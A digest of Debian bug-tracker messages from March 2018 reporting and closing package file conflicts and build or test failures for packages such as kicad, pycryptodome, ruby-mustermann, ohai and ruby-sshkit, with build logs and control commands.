GL_ARB_invalidate_subdata, GL_ARB_map_buffer_alignment, 
GL_ARB_map_buffer_range, GL_ARB_multi_bind, GL_ARB_multisample, 
GL_ARB_multitexture, GL_ARB_pixel_buffer_object, GL_ARB_point_parameters, 
GL_ARB_point_sprite, GL_ARB_program_interface_query, 
GL_ARB_provoking_vertex, GL_ARB_robustness, GL_ARB_sampler_objects, 
GL_ARB_separate_shader_objects, GL_ARB_shader_objects, 
GL_ARB_shading_language_100, GL_ARB_shadow, GL_ARB_sync, 
GL_ARB_texture_border_clamp, GL_ARB_texture_compression, 
GL_ARB_texture_cube_map, GL_ARB_texture_env_add, 
GL_ARB_texture_env_combine, GL_ARB_texture_env_crossbar, 
GL_ARB_texture_env_dot3, GL_ARB_texture_mirrored_repeat, 
GL_ARB_texture_non_power_of_two, GL_ARB_texture_rectangle, 
GL_ARB_texture_storage, 

Bug#891012: marked as done (kicad-{footprints,symbols,templates}: fails to upgrade from 'sid' - trying to overwrite usr/share/kicad/*)

[Debian Bug Tracking System]

Your message dated Tue, 06 Mar 2018 18:52:25 +
with message-id 
and subject line Bug#891012: fixed in kicad-packages3d 5.0.0~rc1-1
has caused the Debian Bug report #891012,
regarding kicad-{footprints,symbols,templates}: fails to upgrade from 'sid' - 
trying to overwrite usr/share/kicad/*
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
891012: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=891012
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: kicad-footprints,kicad-symbols,kicad-templates
Version: 0~2018.01.27-1
Severity: serious
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package fails to upgrade from
'sid' to 'experimental'.
It installed fine in 'sid', then the upgrade to 'experimental' fails
because it tries to overwrite other packages files without declaring a
Breaks+Replaces relation.

See policy 7.6 at
https://www.debian.org/doc/debian-policy/#overwriting-files-and-replacing-packages-replaces

>From the attached log (scroll to the bottom...):

  Selecting previously unselected package kicad-footprints.
  Preparing to unpack .../kicad-footprints_0~2018.01.27-1_all.deb ...
  Unpacking kicad-footprints (0~2018.01.27-1) ...
  dpkg: error processing archive 
/var/cache/apt/archives/kicad-footprints_0~2018.01.27-1_all.deb (--unpack):
   trying to overwrite '/usr/share/kicad/template/fp-lib-table', which is also 
in package kicad-common 4.0.7+dfsg1-1
  Errors were encountered while processing:
   /var/cache/apt/archives/kicad-footprints_0~2018.01.27-1_all.deb

  Selecting previously unselected package kicad-symbols.
  Preparing to unpack .../kicad-symbols_0~2018.01.27-1_all.deb ...
  Unpacking kicad-symbols (0~2018.01.27-1) ...
  dpkg: error processing archive 
/var/cache/apt/archives/kicad-symbols_0~2018.01.27-1_all.deb (--unpack):
   trying to overwrite '/usr/share/kicad/library/Power_Management.dcm', which 
is also in package kicad-common 4.0.7+dfsg1-1
  dpkg-deb: error: paste subprocess was killed by signal (Broken pipe)
  Errors were encountered while processing:
   /var/cache/apt/archives/kicad-symbols_0~2018.01.27-1_all.deb

  Selecting previously unselected package kicad-templates.
  Preparing to unpack .../kicad-templates_0~2018.01.27-1_all.deb ...
  Unpacking kicad-templates (0~2018.01.27-1) ...
  dpkg: error processing archive 
/var/cache/apt/archives/kicad-templates_0~2018.01.27-1_all.deb (--unpack):
   trying to overwrite 
'/usr/share/kicad/template/Arduino_As_Uno_R3/Arduino_As_Uno-cache.lib', which 
is also in package kicad-common 4.0.7+dfsg1-1
  dpkg-deb: error: paste subprocess was killed by signal (Broken pipe)
  Errors were encountered while processing:
   /var/cache/apt/archives/kicad-templates_0~2018.01.27-1_all.deb


cheers,

Andreas


kicad-common=4.0.7+dfsg1-1_kicad-footprints=0~2018.01.27-1.log.gz
Description: application/gzip
--- End Message ---
--- Begin Message ---
Source: kicad-packages3d
Source-Version: 5.0.0~rc1-1

We believe that the bug you reported is fixed in the latest version of
kicad-packages3d, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 891...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Carsten Schoenert  (supplier of updated 
kicad-packages3d package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Format: 1.8
Date: Tue, 06 Mar 2018 18:07:20 +0100
Source: kicad-packages3d
Binary: kicad-packages3d
Architecture: source
Version: 5.0.0~rc1-1
Distribution: experimental
Urgency: medium
Maintainer: Debian Electronics Team 

Changed-By: Carsten Schoenert 
Description:
 kicad-packages3d - 3D models for 3D viewer in KiCad's Pcbnew and Footprint 
Editor
Closes: 891012
Changes:
 kicad-packages3d (5.0.0~rc1-1) experimental; urgency=medium
 .
   * [a76ad2e] d/control: fixup VCS URLs
   * [b96d94d] New upstream version 5.0.0~rc1
   * [677ea80] d/control: adjusting B+R against previous kicad{-common} pkg
 (Closes: #891012)
   * [8c13f17] turning suggesting of kicad into a 

Bug#892175: pycryptodome FTBFS on 32bit big endian: src/montgomery.c:245: mont_mult: Assertion `t[2*abn_words] <= 1' failed

[James Cowgill]

On Tue, 06 Mar 2018 14:26:31 +0200 Adrian Bunk  wrote:
> Source: pycryptodome
> Version: 3.4.11-1
> Severity: serious
> 
> https://buildd.debian.org/status/package.php?p=pycryptodome=sid
> 
> ...
>debian/rules override_dh_auto_test
> make[1]: Entering directory '/<>'
> PYBUILD_SYSTEM=custom \
> PYBUILD_TEST_ARGS="python{version} -m Cryptodome.SelfTest 
> {build_dir}/" dh_auto_test
> I: pybuild base:184: python2.7 -m Cryptodome.SelfTest 
> /<>/.pybuild/pythonX.Y_2.7/build/
> Skipping AESNI tests
> python2.7: src/montgomery.c:245: mont_mult: Assertion `t[2*abn_words] <= 1' 
> failed.
> Aborted

I've only had a brief look, but there are some (uint64_t*) to
(uint32_t*) casts in src/multiply_32.c addmul128 which look like
undefined behavior to me (strict aliasing rule).

I notice BEBIT which looks like an attempt at big-endian support which
clearly hasn't worked.

A recent commit I noticed:
https://github.com/Legrandin/pycryptodome/commit/aa5fac10a1c3a5f2b98c35954ae74207d545ec13

James



signature.asc
Description: OpenPGP digital signature

Bug#892201: nlohmann-json build issues with gcc 7.2

[Dominique Belhachemi]

Package: nlohmann-json
Version: 2.1.1-1
Severity: grave

Some applications don't compile with nlohmann-json 2.1.1 and gcc 7.2 .

You can find details here:

https://github.com/nlohmann/json/issues/742

Please update the package.

Thanks
-Dominique

Bug#892139: Forwarded upstream

[Julien Puydt]

Hi,

I forwarded the report upstream:
https://github.com/JohnCremona/eclib/issues/36

So hopefully there will be a fixed version soon.

Cheers,

Snark on #debian-science

Processed: Re: Bug#868839: ruby-mustermann,ruby-mustermann19: error when trying to install together

[Debian Bug Tracking System]

Processing control commands:

> reassign -1 ruby-mustermann 1.0.0-1
Bug #868839 [ruby-mustermann] ruby-mustermann: missing Breaks+Replaces: 
ruby-mustermann19
Bug #868851 [ruby-mustermann] ruby-mustermann: missing Breaks+Replaces: 
ruby-mustermann19
Ignoring request to reassign bug #868839 to the same package
Ignoring request to reassign bug #868851 to the same package
Bug #868839 [ruby-mustermann] ruby-mustermann: missing Breaks+Replaces: 
ruby-mustermann19
Bug #868851 [ruby-mustermann] ruby-mustermann: missing Breaks+Replaces: 
ruby-mustermann19
Ignoring request to alter found versions of bug #868839 to the same values 
previously set
Ignoring request to alter found versions of bug #868851 to the same values 
previously set
> reassign 868851 ruby-mustermann 1.0.0-1
Bug #868851 [ruby-mustermann] ruby-mustermann: missing Breaks+Replaces: 
ruby-mustermann19
Bug #868839 [ruby-mustermann] ruby-mustermann: missing Breaks+Replaces: 
ruby-mustermann19
Ignoring request to reassign bug #868851 to the same package
Ignoring request to reassign bug #868839 to the same package
Bug #868851 [ruby-mustermann] ruby-mustermann: missing Breaks+Replaces: 
ruby-mustermann19
Bug #868839 [ruby-mustermann] ruby-mustermann: missing Breaks+Replaces: 
ruby-mustermann19
Ignoring request to alter found versions of bug #868851 to the same values 
previously set
Ignoring request to alter found versions of bug #868839 to the same values 
previously set
> forcemerge -1 868851
Bug #868839 [ruby-mustermann] ruby-mustermann: missing Breaks+Replaces: 
ruby-mustermann19
Bug #868851 [ruby-mustermann] ruby-mustermann: missing Breaks+Replaces: 
ruby-mustermann19
Bug #868851 [ruby-mustermann] ruby-mustermann: missing Breaks+Replaces: 
ruby-mustermann19
Removed indication that 868851 affects ruby-mustermann19, ruby-grape, and 
ruby-mustermann-grape
Added indication that 868851 affects 
ruby-mustermann-grape,ruby-mustermann19,ruby-grape
Removed indication that 868839 affects ruby-mustermann-grape, ruby-grape, and 
ruby-mustermann19
Added indication that 868839 affects 
ruby-mustermann-grape,ruby-mustermann19,ruby-grape
Merged 868839 868851
> retitle -1 ruby-mustermann: missing Breaks+Replaces: ruby-mustermann19
Bug #868839 [ruby-mustermann] ruby-mustermann: missing Breaks+Replaces: 
ruby-mustermann19
Bug #868851 [ruby-mustermann] ruby-mustermann: missing Breaks+Replaces: 
ruby-mustermann19
Ignoring request to change the title of bug#868839 to the same title
Ignoring request to change the title of bug#868851 to the same title
> affects -1 ruby-mustermann19 ruby-mustermann-grape
Bug #868839 [ruby-mustermann] ruby-mustermann: missing Breaks+Replaces: 
ruby-mustermann19
Bug #868851 [ruby-mustermann] ruby-mustermann: missing Breaks+Replaces: 
ruby-mustermann19
Ignoring request to set affects of bug 868839 to the same value previously set
Ignoring request to set affects of bug 868851 to the same value previously set

-- 
868839: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=868839
868851: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=868851
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: Re: Bug#868839: ruby-mustermann,ruby-mustermann19: error when trying to install together

[Debian Bug Tracking System]

Processing control commands:

> reassign -1 ruby-mustermann 1.0.0-1
Bug #868839 [ruby-mustermann,ruby-mustermann19] 
ruby-mustermann,ruby-mustermann19: error when trying to install together
Bug reassigned from package 'ruby-mustermann,ruby-mustermann19' to 
'ruby-mustermann'.
No longer marked as found in versions ruby-mustermann19/0.4.3+git20160621-1, 
ruby-mustermann/1.0.0-3, and ruby-mustermann/1.0.0-2.
Ignoring request to alter fixed versions of bug #868839 to the same values 
previously set
Bug #868839 [ruby-mustermann] ruby-mustermann,ruby-mustermann19: error when 
trying to install together
Marked as found in versions ruby-mustermann/1.0.0-1.
> reassign 868851 ruby-mustermann 1.0.0-1
Bug #868851 [ruby-mustermann-grape,ruby-mustermann19] ruby-mustermann19 and 
ruby-mustermann-grape: error when trying to install together
Bug reassigned from package 'ruby-mustermann-grape,ruby-mustermann19' to 
'ruby-mustermann'.
No longer marked as found in versions ruby-mustermann-grape/1.0.0-1, 
ruby-grape/0.19.2-2, ruby-grape/0.19.2-3, and 
ruby-mustermann19/0.4.3+git20160621-1.
Ignoring request to alter fixed versions of bug #868851 to the same values 
previously set
Bug #868851 [ruby-mustermann] ruby-mustermann19 and ruby-mustermann-grape: 
error when trying to install together
Marked as found in versions ruby-mustermann/1.0.0-1.
> forcemerge -1 868851
Bug #868839 [ruby-mustermann] ruby-mustermann,ruby-mustermann19: error when 
trying to install together
Bug #868851 [ruby-mustermann] ruby-mustermann19 and ruby-mustermann-grape: 
error when trying to install together
868851 was blocked by: 892092
868851 was not blocking any bugs.
Removed blocking bug(s) of 868851: 892092
Merged 868839 868851
> retitle -1 ruby-mustermann: missing Breaks+Replaces: ruby-mustermann19
Bug #868839 [ruby-mustermann] ruby-mustermann,ruby-mustermann19: error when 
trying to install together
Bug #868851 [ruby-mustermann] ruby-mustermann19 and ruby-mustermann-grape: 
error when trying to install together
Changed Bug title to 'ruby-mustermann: missing Breaks+Replaces: 
ruby-mustermann19' from 'ruby-mustermann,ruby-mustermann19: error when trying 
to install together'.
Changed Bug title to 'ruby-mustermann: missing Breaks+Replaces: 
ruby-mustermann19' from 'ruby-mustermann19 and ruby-mustermann-grape: error 
when trying to install together'.
> affects -1 ruby-mustermann19 ruby-mustermann-grape
Bug #868839 [ruby-mustermann] ruby-mustermann: missing Breaks+Replaces: 
ruby-mustermann19
Bug #868851 [ruby-mustermann] ruby-mustermann: missing Breaks+Replaces: 
ruby-mustermann19
Added indication that 868839 affects ruby-mustermann19 and ruby-mustermann-grape
Added indication that 868851 affects ruby-mustermann19 and ruby-mustermann-grape

-- 
868839: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=868839
868851: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=868851
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#868839: ruby-mustermann,ruby-mustermann19: error when trying to install together

[Adrian Bunk]

Control: reassign -1 ruby-mustermann 1.0.0-1
Control: reassign 868851 ruby-mustermann 1.0.0-1
Control: forcemerge -1 868851
Control: retitle -1 ruby-mustermann: missing Breaks+Replaces: ruby-mustermann19
Control: affects -1 ruby-mustermann19 ruby-mustermann-grape

On Wed, Jul 19, 2017 at 08:15:48AM +0200, Andreas Beckmann wrote:
> Package: ruby-mustermann,ruby-mustermann19
> Severity: serious
> User: trei...@debian.org
> Usertags: edos-file-overwrite
> Control: found -1 1.0.0-2
> Control: found -1 0.4.3+git20160621-1
> 
> Hi,
> 
> automatic installation tests of packages that share a file and at the
> same time do not conflict by their package dependency relationships has
> detected the following problem:
> 
>   Selecting previously unselected package ruby-mustermann19.
>   Preparing to unpack .../ruby-mustermann19_0.4.3+git20160621-1_all.deb ...
>   Unpacking ruby-mustermann19 (0.4.3+git20160621-1) ...
>   dpkg: error processing archive 
> /var/cache/apt/archives/ruby-mustermann19_0.4.3+git20160621-1_all.deb 
> (--unpack):
>trying to overwrite 
> '/usr/lib/ruby/vendor_ruby/mustermann/ast/boundaries.rb', which is also in 
> package ruby-mustermann 1.0.0-2
>   Errors were encountered while processing:
>/var/cache/apt/archives/ruby-mustermann19_0.4.3+git20160621-1_all.deb
>...

ruby-mustermann19 will be removed, (#892092), so what is required here  
is Breaks+Replaces: ruby-mustermann19 in ruby-mustermann.

> Cheers,
> 
> Andreas
>...

cu
Adrian

-- 

   "Is there not promise of rain?" Ling Tan asked suddenly out
of the darkness. There had been need of rain for many days.
   "Only a promise," Lao Er said.
   Pearl S. Buck - Dragon Seed

Bug#891272: marked as done (libraw: FTBFS with glibc 2.27: error: call of overloaded 'powf64(int, int)' is ambiguous)

[Debian Bug Tracking System]

Your message dated Tue, 6 Mar 2018 16:21:53 +0100
with message-id 

Bug#890257: marked as done (ruby-grape: FTBFS with ruby2.3 and ruby-rack-test 0.7)

[Debian Bug Tracking System]

Your message dated Tue, 6 Mar 2018 17:23:32 +0200
with message-id <20180306152332.GD7540@localhost>
and subject line Fixed in 0.19.2-3
has caused the Debian Bug report #877257,
regarding ruby-grape: FTBFS with ruby2.3 and ruby-rack-test 0.7
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
877257: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=877257
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: ruby-grape
Version: 0.16.2-2
Severity: serious
Justification: fails to build from source

Dear Maintainer,

The version 0.16.2-2 fails to build with ruby2.3. According to
ci.debian.net, this has been happening since Sept, 7 2018
https://ci.debian.net/data/autopkgtest/unstable/amd64/r/ruby-grape/20170907_031907/log.gz
This coincides with the transition to ruby-activesupport 2:4.2.9-3
which itself induced the transition from ruby-rack-test 0.6.3 to 0.7.

Using ruby-rack-test 0.6.3 from stretch makes the tests pass with
ruby2.3 (they fail with ruby2.5, but it is another problem).

Cheers,

Cédric

-- System Information:
Debian Release: buster/sid
  APT prefers unstable-debug
  APT policy: (500, 'unstable-debug'), (500, 'unstable'), (500, 'testing'), (1, 
'experimental')
Architecture: amd64 (x86_64)

Kernel: Linux 4.14.0-3-amd64 (SMP w/4 CPU cores)
Locale: LANG=fr_FR.UTF-8, LC_CTYPE=fr_FR.UTF-8 (charmap=UTF-8), LANGUAGE= 
(charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

-- no debconf information
--- End Message ---
--- Begin Message ---
Version: 0.19.2-3

https://tests.reproducible-builds.org/debian/history/ruby-grape.html

ruby-grape (0.19.2-3) unstable; urgency=medium

  [ Balasankar C ]
  * Team upload.
  * Added patches to fix two failing tests and disable others.
...
 -- Balasankar C   Sun, 25 Feb 2018 13:57:10 +0530


cu
Adrian

-- 

   "Is there not promise of rain?" Ling Tan asked suddenly out
of the darkness. There had been need of rain for many days.
   "Only a promise," Lao Er said.
   Pearl S. Buck - Dragon Seed--- End Message ---

Bug#877257: marked as done (ruby-grape: FTBFS with ruby2.3 and ruby-rack-test 0.7)

[Debian Bug Tracking System]

Your message dated Tue, 6 Mar 2018 17:23:32 +0200
with message-id <20180306152332.GD7540@localhost>
and subject line Fixed in 0.19.2-3
has caused the Debian Bug report #877257,
regarding ruby-grape: FTBFS with ruby2.3 and ruby-rack-test 0.7
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
877257: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=877257
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: ruby-grape
Version: 0.19.2-2
Severity: serious
Justification: fails to build from source

Hi,

ruby-grape/experimental FTBFS in a current sid+experimental environment.
Please see the attached build log for details.


Andreas


ruby-grape_0.19.2-2.log.gz
Description: application/gzip
--- End Message ---
--- Begin Message ---
Version: 0.19.2-3

https://tests.reproducible-builds.org/debian/history/ruby-grape.html

ruby-grape (0.19.2-3) unstable; urgency=medium

  [ Balasankar C ]
  * Team upload.
  * Added patches to fix two failing tests and disable others.
...
 -- Balasankar C   Sun, 25 Feb 2018 13:57:10 +0530


cu
Adrian

-- 

   "Is there not promise of rain?" Ling Tan asked suddenly out
of the darkness. There had been need of rain for many days.
   "Only a promise," Lao Er said.
   Pearl S. Buck - Dragon Seed--- End Message ---

Bug#892196: ohai FTBFS with Ruby 2.5

[Adrian Bunk]

Source: ohai
Version: 8.21.0-1
Severity: serious
Tags: buster sid

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/ohai.html

...
Failures:

  1) Ohai::System plugin ruby should have version set to "2.3.6"
 Failure/Error: expect(@ruby_ohai_data[attribute]).to eql(value)

   expected: "2.3.6"
got: "2.5.0"

   (compared using eql?)
 # ./spec/unit/plugins/ruby_spec.rb:56:in `block (3 levels) in '

  2) Ohai::System plugin ruby should have release_date set to "2017-12-14"
 Failure/Error: expect(@ruby_ohai_data[attribute]).to eql(value)

   expected: "2017-12-14"
got: "2017-12-25"

   (compared using eql?)
 # ./spec/unit/plugins/ruby_spec.rb:56:in `block (3 levels) in '

  3) Ohai::System plugin ruby should have gems_dir set to "/var/lib/gems/2.3.0"
 Failure/Error: expect(@ruby_ohai_data[attribute]).to eql(value)

   expected: "/var/lib/gems/2.3.0"
got: "/var/lib/gems/2.5.0"

   (compared using eql?)
 # ./spec/unit/plugins/ruby_spec.rb:56:in `block (3 levels) in '

  4) Ohai::System plugin ruby should have gem_bin set to "/usr/bin/gem2.3"
 Failure/Error: expect(@ruby_ohai_data[attribute]).to eql(value)

   expected: "/usr/bin/gem2.3"
got: "/usr/bin/gem2.5"

   (compared using eql?)
 # ./spec/unit/plugins/ruby_spec.rb:56:in `block (3 levels) in '

  5) Ohai::System plugin ruby should have ruby_bin set to "/usr/bin/ruby2.3"
 Failure/Error: expect(@ruby_ohai_data[attribute]).to eql(value)

   expected: "/usr/bin/ruby2.3"
got: "/usr/bin/ruby2.5"

   (compared using eql?)
 # ./spec/unit/plugins/ruby_spec.rb:56:in `block (3 levels) in '

Finished in 35.82 seconds (files took 3.06 seconds to load)
1599 examples, 5 failures, 2 pending

Failed examples:

rspec ./spec/unit/plugins/ruby_spec.rb[1:2] # Ohai::System plugin ruby should 
have version set to "2.3.6"
rspec ./spec/unit/plugins/ruby_spec.rb[1:3] # Ohai::System plugin ruby should 
have release_date set to "2017-12-14"
rspec ./spec/unit/plugins/ruby_spec.rb[1:12] # Ohai::System plugin ruby should 
have gems_dir set to "/var/lib/gems/2.3.0"
rspec ./spec/unit/plugins/ruby_spec.rb[1:13] # Ohai::System plugin ruby should 
have gem_bin set to "/usr/bin/gem2.3"
rspec ./spec/unit/plugins/ruby_spec.rb[1:14] # Ohai::System plugin ruby should 
have ruby_bin set to "/usr/bin/ruby2.3"

/usr/bin/ruby2.3 /usr/bin/rspec --pattern ./spec/\*\*/\*_spec.rb --format 
documentation failed
ERROR: Test "ruby2.3" failed. Exiting.
dh_auto_install: dh_ruby --install /build/1st/ohai-8.21.0/debian/ohai returned 
exit code 1
make: *** [debian/rules:6: binary] Error 1

Bug#892194: ruby-sshkit FTBFS with Ruby 2.5: test failure

[Adrian Bunk]

Source: ruby-sshkit
Version: 1.9.0-1
Severity: serious
Tags: buster sid

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/ruby-sshkit.html

...
┌──┐
│ Run tests for ruby2.5 from debian/ruby-tests.rake│
└──┘

RUBYLIB=/build/1st/ruby-sshkit-1.9.0/debian/ruby-sshkit/usr/lib/ruby/vendor_ruby:.
 
GEM_PATH=debian/ruby-sshkit/usr/share/rubygems-integration/all:/var/lib/gems/2.5.0:/usr/lib/x86_64-linux-gnu/rubygems-integration/2.5.0:/usr/share/rubygems-integration/2.5.0:/usr/share/rubygems-integration/all
 ruby2.5 -S rake -f debian/ruby-tests.rake
/usr/bin/ruby2.5 -w -I"lib:test"  
"/usr/lib/ruby/vendor_ruby/rake/rake_test_loader.rb" 
"test/unit/backends/test_abstract.rb" 
"test/unit/backends/test_connection_pool.rb" "test/unit/backends/test_local.rb" 
"test/unit/backends/test_netssh.rb" "test/unit/backends/test_printer.rb" 
"test/unit/core_ext/test_string.rb" "test/unit/formatters/test_custom.rb" 
"test/unit/formatters/test_dot.rb" "test/unit/formatters/test_pretty.rb" 
"test/unit/formatters/test_simple_text.rb" "test/unit/test_color.rb" 
"test/unit/test_command.rb" "test/unit/test_command_map.rb" 
"test/unit/test_configuration.rb" "test/unit/test_coordinator.rb" 
"test/unit/test_deprecation_logger.rb" "test/unit/test_dsl.rb" 
"test/unit/test_host.rb" "test/unit/test_logger.rb" 
"test/unit/test_mapping_interaction_handler.rb" 
/build/1st/ruby-sshkit-1.9.0/lib/sshkit.rb:14: warning: method redefined; 
discarding old config
/build/1st/ruby-sshkit-1.9.0/lib/sshkit/host.rb:130: warning: character class 
has duplicated range: /[@|\[|\]]/
/build/1st/ruby-sshkit-1.9.0/lib/sshkit/configuration.rb:33: warning: method 
redefined; discarding old output_verbosity
/build/1st/ruby-sshkit-1.9.0/lib/sshkit/configuration.rb:37: warning: method 
redefined; discarding old output_verbosity=
/usr/lib/ruby/vendor_ruby/net/scp.rb:365: warning: shadowing outer local 
variable - ch
/usr/lib/ruby/vendor_ruby/net/scp.rb:366: warning: shadowing outer local 
variable - ch
/usr/lib/ruby/vendor_ruby/net/scp.rb:367: warning: shadowing outer local 
variable - ch
/usr/lib/ruby/vendor_ruby/net/scp.rb:368: warning: shadowing outer local 
variable - ch
/build/1st/ruby-sshkit-1.9.0/lib/sshkit/backends/netssh.rb:8: warning: method 
redefined; discarding old default_files
/usr/lib/ruby/vendor_ruby/net/ssh/config.rb:51: warning: previous definition of 
default_files was here
/build/1st/ruby-sshkit-1.9.0/test/helper.rb:20: warning: method redefined; 
discarding old flush_connections
/build/1st/ruby-sshkit-1.9.0/lib/sshkit/backends/connection_pool.rb:68: 
warning: previous definition of flush_connections was here
/build/1st/ruby-sshkit-1.9.0/lib/sshkit/host.rb:59: warning: instance variable 
@local not initialized
/build/1st/ruby-sshkit-1.9.0/lib/sshkit/backends/abstract.rb:141: warning: 
instance variable @pwd not initialized
/build/1st/ruby-sshkit-1.9.0/lib/sshkit/backends/abstract.rb:149: warning: 
instance variable @env not initialized
/build/1st/ruby-sshkit-1.9.0/lib/sshkit/backends/abstract.rb:149: warning: 
instance variable @user not initialized
/build/1st/ruby-sshkit-1.9.0/lib/sshkit/backends/abstract.rb:149: warning: 
instance variable @group not initialized
/build/1st/ruby-sshkit-1.9.0/lib/sshkit/host.rb:59: warning: instance variable 
@local not initialized
/build/1st/ruby-sshkit-1.9.0/lib/sshkit/backends/abstract.rb:141: warning: 
instance variable @pwd not initialized
/build/1st/ruby-sshkit-1.9.0/lib/sshkit/backends/abstract.rb:149: warning: 
instance variable @env not initialized
/build/1st/ruby-sshkit-1.9.0/lib/sshkit/backends/abstract.rb:149: warning: 
instance variable @user not initialized
/build/1st/ruby-sshkit-1.9.0/lib/sshkit/backends/abstract.rb:149: warning: 
instance variable @group not initialized
/build/1st/ruby-sshkit-1.9.0/lib/sshkit/host.rb:59: warning: instance variable 
@local not initialized
/build/1st/ruby-sshkit-1.9.0/lib/sshkit/backends/abstract.rb:141: warning: 
instance variable @pwd not initialized
/build/1st/ruby-sshkit-1.9.0/lib/sshkit/backends/abstract.rb:149: warning: 
instance variable @env not initialized
/build/1st/ruby-sshkit-1.9.0/lib/sshkit/backends/abstract.rb:149: warning: 
instance variable @user not initialized
/build/1st/ruby-sshkit-1.9.0/lib/sshkit/backends/abstract.rb:149: warning: 
instance variable @group not initialized
/build/1st/ruby-sshkit-1.9.0/lib/sshkit/runners/sequential.rb:28: warning: 
instance variable @wait_interval not initialized
/build/1st/ruby-sshkit-1.9.0/lib/sshkit/host.rb:59: warning: instance variable 
@local not initialized
/build/1st/ruby-sshkit-1.9.0/lib/sshkit/backends/abstract.rb:141: warning: 
instance variable @pwd not initialized
/build/1st/ruby-sshkit-1.9.0/lib/sshkit/backends/abstract.rb:149: warning: 
instance variable @env not initialized

Bug#892192: ruby-celluloid-io: FTBFS and Debci failure with Ruby 2.5

[Adrian Bunk]

Source: ruby-celluloid-io
Version: 0.16.2-5
Severity: serious
Tags: buster sid

https://ci.debian.net/packages/r/ruby-celluloid-io/unstable/amd64/
https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/ruby-celluloid-io.html

...
Failures:

  1) Celluloid::IO behaves like a Celluloid Actor using Fibers abort crashes 
the sender if we pass neither String nor Exception
 Failure/Error: DEFAULT_FAILURE_NOTIFIER = lambda { |failure, _opts| raise 
failure }

   expected TypeError with "Exception object/String expected, but Fixnum 
received", got # with backtrace:
 # /usr/lib/ruby/vendor_ruby/celluloid.rb:314:in `abort'
 # 
/usr/lib/ruby/vendor_ruby/celluloid/rspec/example_actor_class.rb:54:in 
`crash_with_abort_raw'
 # /usr/lib/ruby/vendor_ruby/celluloid/calls.rb:26:in `public_send'
 # /usr/lib/ruby/vendor_ruby/celluloid/calls.rb:26:in `dispatch'
 # /usr/lib/ruby/vendor_ruby/celluloid/calls.rb:63:in `dispatch'
 # /usr/lib/ruby/vendor_ruby/celluloid/cell.rb:60:in `block in invoke'
 # /usr/lib/ruby/vendor_ruby/celluloid/cell.rb:71:in `block in task'
 # /usr/lib/ruby/vendor_ruby/celluloid/actor.rb:357:in `block in task'
 # /usr/lib/ruby/vendor_ruby/celluloid/tasks.rb:57:in `block in 
initialize'
 # /usr/lib/ruby/vendor_ruby/celluloid/tasks/task_fiber.rb:15:in `block 
in create'
 # (celluloid):0:in `remote procedure call'
 # /usr/lib/ruby/vendor_ruby/celluloid/calls.rb:92:in `value'
 # /usr/lib/ruby/vendor_ruby/celluloid/proxies/sync_proxy.rb:33:in 
`method_missing'
 # /usr/lib/ruby/vendor_ruby/celluloid/rspec/actor_examples.rb:401:in 
`block (4 levels) in '
 # 
/usr/lib/ruby/vendor_ruby/rspec/matchers/built_in/raise_error.rb:52:in 
`matches?'
 # /usr/lib/ruby/vendor_ruby/rspec/expectations/handler.rb:50:in `block 
in handle_matcher'
 # /usr/lib/ruby/vendor_ruby/rspec/expectations/handler.rb:27:in 
`with_matcher'
 # /usr/lib/ruby/vendor_ruby/rspec/expectations/handler.rb:48:in 
`handle_matcher'
 # 
/usr/lib/ruby/vendor_ruby/rspec/expectations/expectation_target.rb:65:in `to'
 # 
/usr/lib/ruby/vendor_ruby/rspec/expectations/expectation_target.rb:101:in `to'
 # /usr/lib/ruby/vendor_ruby/celluloid/rspec/actor_examples.rb:400:in 
`block (3 levels) in '
 # /usr/lib/ruby/vendor_ruby/rspec/core/example.rb:254:in 
`instance_exec'
 # /usr/lib/ruby/vendor_ruby/rspec/core/example.rb:254:in `block in run'
 # /usr/lib/ruby/vendor_ruby/rspec/core/example.rb:500:in `block in 
with_around_and_singleton_context_hooks'
 # /usr/lib/ruby/vendor_ruby/rspec/core/example.rb:457:in `block in 
with_around_example_hooks'
 # /usr/lib/ruby/vendor_ruby/rspec/core/hooks.rb:466:in `block in run'
 # /usr/lib/ruby/vendor_ruby/rspec/core/hooks.rb:604:in 
`run_around_example_hooks_for'
 # /usr/lib/ruby/vendor_ruby/rspec/core/hooks.rb:466:in `run'
 # /usr/lib/ruby/vendor_ruby/rspec/core/example.rb:457:in 
